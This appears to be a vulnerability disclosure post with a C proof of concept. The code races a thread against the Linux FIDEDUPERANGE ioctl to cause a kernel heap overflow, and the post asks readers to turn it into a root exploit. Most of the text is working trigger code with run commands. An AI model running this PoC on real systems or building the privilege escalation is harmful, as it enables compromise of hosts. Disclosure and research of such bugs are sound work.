Attached is a PoC. I attempted to write an exploit for this but that's not really my forte. I feel like this bug
has the potential for a workable user->root exploit but I couldn't do it.
1: You can control which cache the overflow happens on. I picked the same cache as the File struct.
2: the code writes 2 different width zeros past the allocation, one 32 bit and the other 64 bit.
3: I attempted to overflow and write the 32 bit 0 to the top half of a pointer so it would point to userland,
but I couldn't find a suitable structure to overflow into.
So if anyone plays around with this and gets a workable exploit please share the details as I'm looking to expand my
exploitation knowledge, and techniques.
Thank you,
--Scott
For the poc:
gcc -pthread doublefetch.c
./a.out 7 65534 1000000 0
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <pthread.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
static const char* file_path = "/tmp/test.txt";
static const char* file_path2 = "/tmp/test2.txt";
typedef int64_t __s64;
typedef int32_t __s32;
typedef uint64_t __u64;
typedef uint16_t __u16;
typedef uint32_t __u32;
struct file_dedupe_range_info {
__s64 dest_fd; /* in - destination file */
__u64 dest_offset; /* in - start of extent in destination */
__u64 bytes_deduped; /* out - total # of bytes we were able */
__s32 status; /* out - see above description */
__u32 reserved; /* must be zero */
};
/* from struct btrfs_ioctl_file_extent_same_args */
struct file_dedupe_range {
__u64 src_offset; /* in - start of extent in source */
__u64 src_length; /* in - length of extent */
__u16 dest_count; /* in - total elements in info array */
__u16 reserved1; /* must be zero */
__u32 reserved2; /* must be zero */
struct file_dedupe_range_info info[0];
};
#define FIDEDUPERANGE _IOWR(0x94, 54, struct file_dedupe_range)
volatile static int trigger = 0;
volatile static int trigger1 = 0;
volatile static int stop = 0;
volatile uint16_t wew;
static unsigned int stupid_hack = 1;
static void *size_change(void *addr)
{
struct file_dedupe_range *range = addr;
while(!stop) {
trigger1 = 1;
while (trigger == 0 ) { }
usleep(stupid_hack);
range->dest_count = wew;
stupid_hack++;
if(stupid_hack > 100000)
stupid_hack = 1;
trigger1 = 0;
}
}
int main(int argc, char **argv)
{
int fd, fd2, i, counter;
struct file_dedupe_range *range;
pthread_t race_car;
int fds[100];
int num = atoi(argv[1]);
int loop = atoi(argv[3]);
wew = atoi(argv[2]);
stupid_hack = atoi(argv[4]);
fd = open(file_path, O_RDWR | O_CREAT);
fd2 = open(file_path2, O_RDWR | O_CREAT);
if (fd < 0) {
printf("Failed to open %s with error %s\n", file_path,
strerror(errno));
return EXIT_FAILURE;
}
range = malloc(sizeof(*range) + sizeof(struct file_dedupe_range_info)*num);
memset(range, 0, sizeof(*range) + sizeof(struct file_dedupe_range_info)*num);
if (!range) {
printf("Failed to alloc mem, exiting\n");
close(fd);
return EXIT_FAILURE;
}
range->dest_count = num;
range->src_offset = 0;
range->src_length = 65535+4096+4096;
for (i = 0; i < num; i++)
range->info[i].dest_fd = fd2;
//write(fd, file_path, 4);
sync();
pthread_create(&race_car, NULL, size_change, range);
for (counter = 0; counter < loop; counter++) {
for (i = 0; i < 100; i++) {
fds[i] = socket(AF_INET, SOCK_STREAM, 0);
if (fds[i] < 0) {
printf("Failed to open socket #%d\n", i);
}
}
while(trigger1 != 1) { }
trigger = 1;
asm volatile("sfence");
close(fds[50]);
close(fds[51]);
ioctl(fd, FIDEDUPERANGE, range);
//printf("ioctl done with %s\n", strerror(errno));
trigger = 0;
while(trigger1 == 0) { }
range->dest_count = num;
for (i = 0; i < 100; i++)
close(fds[i]);
}
stop = 1;
pthread_join(race_car, NULL);
}